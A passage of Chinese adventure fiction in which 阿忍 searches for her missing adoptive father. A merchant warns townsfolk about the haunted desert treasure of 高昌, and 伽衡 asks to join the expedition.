阿忍越听越疑惑了:“他没说他去哪里了?他知道义父在哪里吗?” 老板又开始谨慎地表达自己的不知情,但无论如何,都不会对阿忍有所隐瞒的。茶馆已然是消息最通达的地方,茶馆老板更是听遍城中八卦之人。他都没头绪,再想打听出什么就难了。阿忍谢过老板后下了楼,只觉得四周寂寂、希望渺茫,天地偌大,义父在这天地间的哪个角落呢? 而已知的唯一消息就是义父出了阳关,这还是伽衡猜的。若是以前,她定要伽衡把这推测的来龙去脉详细讲一遍;然而现在伽衡猜忌她,他没怎么表现出来,但她知道的,因此什么要求也不敢提。 楼下还有人询问贾峰有关宝藏的事情,贾峰原是为了向闻法说明情况才提到宝藏,没想到这边陲小城的老百姓一个个这样感兴趣,只好无奈道:“奉劝各位还是不要鲁莽行事,沙漠中的气候是相当诡谲的。何况高昌也非什么福源宝地,相传还有从一百年前开始,每到夜里,阴风怒号,好似鬼魂夜哭......” 他说“鬼魂夜哭”的时候压低了声音,不是说书先生那样戏剧化的低声,而是带着极郑重的神色,这样的神色出现在那张诚实、稳重的脸上,任谁都会被感染的。有个孩子叫道:“为什么?高昌死了很多人吗,如今在打仗,哪里都在死人啊。” “因为怨气重。”贾峰微笑道,“那和战乱还是有所不同的。很怨恨、很遗憾、很不甘心。” 人们一时被这样惊悚的描述震住了,突然一人站起来走到他面前,道:“我与你们同去吧。” 闻法听出他的声音,这才睁开眼睛,“哟,伽衡,什么风把你吹到这小破城里来啦?” “你爹欠我钱就跑了,这不是要找个下家么。”伽衡叹了口气,展示自己没剩几个铜币的钱袋。 贾峰的视线在两人间换来换去,恍然道:“这么说来,你原是闻先生队伍里的人,我们这些跑商的都听过闻先生的鼎鼎大名。然而之前已经说过不缺人手,你还想来分一杯羹,恕贾某不能同意了。”